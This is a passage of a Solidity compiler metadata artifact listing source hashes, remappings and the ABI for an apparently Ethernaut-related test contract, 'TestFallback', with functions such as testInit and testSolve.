Zj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Fallback.sol\":{\"keccak256\":\"0xbfa1fed654c49a81e9322e75f29737db0b0118c710c81ffdd11ab5adc5ecc296\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d9bbffc872f54f79540ff741dc3a01487c13117743916f552e2888310994dc41\",\"dweb:/ipfs/QmXVRrTHXMz1UmXFswD7yRQCe9QeK8zRCHT4k3SnbpYcUS\"]},\"src/levels/FallbackFactory.sol\":{\"keccak256\":\"0xcf8386db2b09f2b0d458d8e600bec419e1d08f44946c09384dd400c5d165695c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://458622b6c09742090ea14f614bf159aeda6d0c29f647f7b1f4a4576ff14fbde2\",\"dweb:/ipfs/QmWZaqoCvusCmENadV6ezMPd1Q2TkZrnYi7QVNHxqUyLdb\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Fallback.t.sol\":{\"keccak256\":\"0x735d44310422245e60c681a498a11434a6cef87fff6422d00c4436d78933d6f0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://08faf2412bbe4a56ebe5de8d068447413e5d0a0ecc24599be2d7e0259ebb17f6\",\"dweb:/ipfs/QmQNQttEBR5o8x6egvrG1ARPwnyeP4UZEa83V1j6koiMhd\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Fallback.t.sol":"TestFallback"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZe